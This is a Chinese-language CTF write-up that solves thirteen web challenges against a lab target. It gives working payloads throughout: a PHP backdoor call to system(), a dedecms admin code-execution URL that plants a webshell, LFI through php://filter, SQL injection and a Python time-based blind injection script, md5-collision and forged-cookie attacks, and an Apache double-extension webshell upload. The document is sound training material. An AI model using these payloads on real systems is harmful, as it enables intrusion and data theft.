Contents
  1. 1. 爱い窒息、痛
  2. 2. dedecms
  3. 3. 新的新闻搜索
  4. 4. 常规操作
  5. 5. 新闻搜索
  6. 6. 一个hackerone的有趣的漏洞的复现
  7. 7. 奇怪的恐龙特性
  8. 8. 新瓶装旧酒
  9. 9. sleepcms
  10. 10. md5
  11. 11. 简单的md5
  12. 12. 秘密的系统
  13. 13. game

全是Web题,虽然大都是原题,但是质量不错,刷完后感觉学到了不少知识。

爱い窒息、痛

非主流老哥的后门,你进得去么,靶机:http://114.55.36.69:8020

这道题的考点在于

  • 检测ua头中有没有传入值的md5加密后的字符串
  • 绕过字符串切分,成功拼接url
  • 利用$f($d)类型的一句话木马

访问http://114.55.36.69:8020/upload/dama.xxxx得到源码

php格式化后http://www.jsons.cn/phpformat/,进行审计

1
2
3
4
5
6
7
$a = isset($_POST['pass']) ? trim($_POST['pass']) : '';
if ($a == '') {
echologin();
} else {//
chkpass($a);
helloowner($a);
}

可以看到最开始,如果当参数pass不为空的时候,调用chkpass函数进行判断

1
2
3
4
5
6
function chkpass($a) {
if (stripos($_SERVER['HTTP_USER_AGENT'], md5($a)) === false) {//stripos查找字符串首次出现的位置(不区分大小写)
echofail(1);
}
return true;
}

chkpass则是检测,user_agent头里有没有,md5加密过的pass参数的值

向下接着看helloowner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function helloowner($a) {//字符串拼接函数
$b = gencodeurl($a);//如果长度>40,则进行截取拼接,如果<40返回的url为http://goodweb.com
$c = file_get_contents($b);//读取给定网址的文件内容
if ($c == false) {
echofail(2);
}
$d = @json_decode($c, 1);//将读取到的内容进行json_decode 解码,以数组形式返回?
if (!isset($d['f'])) {//如果$d['f']未获取到,则输出fail3
echofail(3);
}
$d['f'](\img\images\$d['d']);
//否则的话,将拼接函数执行
}
function gencodeurl($a) {//url切分
$e = md5(date("Y-m-d"));
if (strlen($a) > 40) {//如果长度>40,$f = a[30:35],$g = a[10:20]
$f = substr($a, 30, 5);
$g = substr($a, 10, 10);
} else {
$f = 'good';
$g = 'web.com';
}
$b = 'http://' . $f . $g;
return $b;
}

helloowner则是进行url切分拼接,和json_decode后执行$d['f'](\img\images\$d['d']);

这里可以把url切分函数,单独分离出来,搭在到本地进行测试

1569595787704

成功绕过。

$d['f'](\img\images\$d['d']);可以用于构造命令执行的一句话木马(这里构造代码执行eval一句话失败,无法被执行)

这里构造paload

1
2
3
4
5
6
7
8
<?php 
$url = array(
"f"=>"system",
"d"=>"cat ../flag.php"
);
$url = json_encode($url);
echo $url;
?>

最终访问输出如下

1
{"f":"system","d":"cat ..\/flag.php"}

构造并发送payload,获得flag

1569165402859

dedecms

放出来好几天的东西,随便玩玩http://114.55.36.69:8008

默认后台,后台管理员登陆页面弱口令admin/admin

发现dedecms版本为DedeCMS_V57_UTF8_SP2,在网上可以找到它的后台代码执行漏洞,https://www.freebuf.com/vuls/164035.html

访问http://114.55.36.69:8008/dede/tpl.php?action=upload,右击查看源代码获取token值

1569326445947

写入一句话木马

http://114.55.36.69:8008/dede/tpl.php?filename=flag0.lib.php&action=savetagfile&content=%3C?php%20system($_POST[%27cmd%27]);%20?%3E&token=89f28c36f44cd0849bc2c43880b5dd18

1569330050134

访问写入的木马获取到flag路径

1569330251722

getflag

1569330321021

新的新闻搜索

你以为还是简单的新闻搜索网站么 http://114.55.36.69:8030

这里过滤了unionselect使用mysql内联注释进行绕过

1569594314883

常规操作

常规操作,试一试 http://114.55.36.69:8009/

这里存在本地文件包含,且php拼接后缀

发现其web根目录下存在flag.php,直接php伪协议读取

1
http://114.55.36.69:8009/index.php?url=php://filter/read=convert.base64-encode/resource=flag

1569594518980

base64解码即可得到flag

1569594566506

新闻搜索

简单的新闻搜索网站 http://114.55.36.69:8010

简单的post注入

1569594128673

一个hackerone的有趣的漏洞的复现

ctf打多了,现在咱们把hackerone的漏洞复现一下吧。小曾师傅花了好几天写了一套模拟hackerone上的漏洞的程序,恩阿。很有趣哦~这可是企业实实在在遇到的问题哦!不是脑洞大开题 请各位亲们谨慎思考。靶机:http://114.55.36.69:8023

  • 注册用户绑定自己邮箱
  • 获取校验链接
  • 请求校验链接
  • 在请求校验链接的同时,修改绑定邮箱为管理员邮箱如果能够在代码执行“校验成功”和“更新账户绑定邮箱状 态”步骤之间成功修改邮箱,就能直接将邮箱状态设置为已校验(条件竞争/时间竞争)

详细步骤

奇怪的恐龙特性

大约在15亿年前,生活在地球上的恐龙中有一种很奇怪的恐龙,他们有一种奇怪的特性,那就是当在捕杀猎物的时候,如果猎物发出惊讶的表情的时候,他们也会发出惊讶的表情来告诉猎物“你们快要死了”,然而这种特性并没什么用处。。。因为我编不下去了。。以上这个故事是我瞎编的。。。靶机:http://114.55.36.69:8022

这是一道代码审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');

}

?>

$_SERVER['QUERY_STRING']会获取到所有的文件后面传递的所有参数。

下面的实验可以直观的展现出它的作用

1569593877564

php有以下特性

  • php自身在解析请求时,会把+和.解析成下划线
  • 数组与数字比较,永远大于数字
  • 字符a在和整形进行弱类型比较时,会被强制转换成整形,其值为0

利用以上特性进行绕过

1569593465305

新瓶装旧酒

瓶子里的酒啊,越久越好,靶机:http://114.55.36.69:8017

作为一个不会代码审计的弱鸡,看了两个小时代码,猜测可能在上传解压后判断文件名不合法然后删除文件的地方存在条件竞争

1
2
3
4
5
6
7
8
foreach($files as $name){
if(!in_array(getExt($name), array('.jpg','.png','.jpeg','.gif')) || strpos($name, '.ph') !== false){
unlink($tmpdir.'/'.$name);
continue;
}
$files_num++;
echo "/upload/".md5($tmpname)."/{$name}\n";
}

结果发现每次上传的时候都会有几秒的sleep时间,并不能成功竞争,并且如果爆破的话,会导致web无法正常访问。

最后发现是考点是apache2.2.15的解析漏洞,跟代码怎么写没有关系。。。

在apache2.2.15版本的情况下,test.php.png.jpg.gif等均会被解析成php文件来执行,高版本的apach服务器不存在此漏洞。

尝试上传压缩包中名字为test.php.png的一句话木马时无法上传成功,判断可能黑名单检测php,这里我们上传文件名test.PHP.png为的一句话木马。

1569592989615

上传成功,得到flag

1569593070099

sleepcms

要学习新的内容才能做出来 http://114.55.36.69:8007

访问http://114.55.36.69:8007/robots.txt

1
2
3
4
INSERT INTO `article` (`id`, `title`, `view_times`,`content`) VALUES
(1, 'admin\' flag',0, 'xxxxxxxxxxxxxxxxxxxxxxx'),
(2, 'hello guest',0, 'hello guest,you want is not here~~'),
(3, 'some hint',0, 'long or short?\r\nsleep and injection!');

从题目名称和robots.txt文件可以猜测,该题目考察的是基于时间的盲注

发现此处存在黑名单

1569590980040

经过测试发现其检测sleepbenchmark函数,这里我们可以利用等价函数get_lock()来进行延时注入

参考资料https://www.cesafe.com/3993.html

可以注入出数据库名

1569591287954

但是向下不得不使用select语句进行注入,这道题同样检测select

此时可以不使用传统的数据库名=>表名=>字段名=>数据的方式来进行注入,可以利用mysql 同库不需要select查表,直接可以查询字段名的特性来进行构造sql注入语句

1
id=1' and if(ascii(substr((content),1,1))>1,get_lock('test',3),1)%23

此时要注意使用get_lock函数时需要开两个session测试,第二次测试才会有正常的延时。

根据语句写出盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#coding=utf8
import requests
import time
data = ''
url = "http://114.55.36.69:8007/article.php?id=1'"

for i in range(47):
for c in range(32,127):
url_req = url + " and if(ascii(substr((content),{0},1))={1},get_lock('test',3),1)%23".format(i+1,str(c))
print(url_req)
start_time = time.time()
res = requests.get(url_req)
end_time = time.time()
if (end_time - start_time) > 2.5:
data += chr(c)
print(data)
break;
print('data:',data)

运行得到flag

1569593101648

md5

md5 crash http://114.55.36.69:8006

右击查看源代码

1
MD5 cracking<!-- if((string)$_POST['data1']!==(string)$_POST['data2']&&md5($_POST['data1'])===md5($_POST['data2']))-->fail

发现进行了类型转换,并且使强类型比较,可以使用md5碰撞生成器,生成两个内容不同,但是md5相同的问题件,来进行攻击

使用fastcoll工具来进行md5碰撞攻击

1
fastcoll_v1.0.0.5.exe -p .\a.bin -o a1.bin a2.bin

用python来进行读取然后进行url编码

1
2
3
4
5
6
7
8
9
10
11
#coding=utf-8
import urllib.parse
import requests
f1 = open("a1.bin","rb").read()
f2 = open("a2.bin","rb").read()
data = {
'data1':f1,
'data2':f2,
}
flag = requests.post("http://114.55.36.69:8006",data=data).text
print(flag)

1569590806621

简单的md5

简单的md5 http://114.55.36.69:8004

访问后右击查看源代码

1
easy MD5 cracking <!--$_POST['data1']!=$_POST['data2']-->fail

直接传参

1569589959820

秘密的系统

不久前才开发的系统,功能也还不完善,代码也还有待改进 http://114.55.36.69:8014/

访问http://114.55.36.69:8014/web/robots.txt发现

1
2
User-agent: *
Disallow: index.php?r=site/loginuser_1

访问http://114.55.36.69:8014/web/index.php?r=site/loginuser_1右击查看源代码

1
2
3
4
<!--
*** author: cib_zhinianyuxin.com
*** code: github.com
-->

给出了github的地址,通过它找到了作者留在github上的hint

1
2
3
4
5
6
7
8
9
10
11
12
It's just a system which is not completed , there are some tips:
you can use test/cib_sec to login ,but you are not admin!
only admin can upload file ,but whichone can not bypass my rules.

/**
$sign = array(
'id'=>$model->id,
'name'=>$model->username,
'sign'=>md5($model->id.$model->username),
);
$_COOKIE['Cib_security'] = serialize($sign);
**/

获得了一个测试账号test/cib_sec和cookie生成的php代码

1
2
3
4
5
6
$sign = array(
'id'=>$model->id,
'name'=>$model->username,
'sign'=>md5($model->id.$model->username),
);
$_COOKIE['Cib_security'] = serialize($sign);

我们用测试账号登陆

发现权限是游客,upload功能无法使用

1569586043107

我们来分析test用户的cookie,对其进行urldecode和反序列化操作

1
2
3
4
5
Array{
[id]=>2
[name]=>test
[sign]=>7cbab5cea99169139e7e6d8ff74ebb77
}

根据github上的生成信息来伪造管理员的cookie

1
2
3
4
5
6
7
8
9
<?php
$signAdmin = array(
"id"=>1,
"name"=>'admin',
"sign"=>'6c5de1b510e8bdd0bc40eff99dcd03f8'
);
$cib_sec = urlencode(serialize($signAdmin));
echo $cib_sec;
?>

获得cookie

1
a%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A4%3A%22sign%22%3Bs%3A32%3A%226c5de1b510e8bdd0bc40eff99dcd03f8%22%3B%7D

通过burpsuite替换cookie访问upload页面

1569586575730

成功访问upload页面

1569586616551

我们利用上传点来上传我们的webshell

1
<?php system($_POST['cmd']); ?>

上传点存在白名单验证,从返回包可以得知其是apache2.2.15,apache2.2.15版本具有文件解析漏洞,可以把test.php.png当作php文件来解析执行,apache高版本不存在此漏洞,这里我们可以使用apache2.2.15的解析漏洞来绕过白名单限制。

1569586798936

成功上传,访问得到flag

1569586832636

game

玩个蛇皮 http://114.55.36.69:8011

这个题是一个用js实现的贪吃蛇游戏

1569586981298

玩一局就可以看到它的长度显示了出来,右击查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html> 
<html>
<head>

<title>Game</title>
<link rel="stylesheet" type="text/css" href="./css/game.css" />
</head>
<body>
<div id="game-area" tabindex="0">
</div>
<script type="text/javascript" src="./js/game.js"></script>
<script type="text/javascript">
var mySnakeBoard = new SNAKE.Board( {
boardContainer: "game-area",
fullScreen: true
});
</script>
</body>
</html>

可以看到这里加载了game.js文件,我们访问http://114.55.36.69:8011/js/game.js

1
2
3
if (me.snakeLength > 2500){
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
}

可以看到当长度>2500时执行这段aaencode代码,直接利用firebug进行调试, 执行加密结果,返回为一个假的flag,执行代码后,DOM树, 发现window[‘flag’]选项,发现flag

1569589283882

Contents
  1. 1. 爱い窒息、痛
  2. 2. dedecms
  3. 3. 新的新闻搜索
  4. 4. 常规操作
  5. 5. 新闻搜索
  6. 6. 一个hackerone的有趣的漏洞的复现
  7. 7. 奇怪的恐龙特性
  8. 8. 新瓶装旧酒
  9. 9. sleepcms
  10. 10. md5
  11. 11. 简单的md5
  12. 12. 秘密的系统
  13. 13. game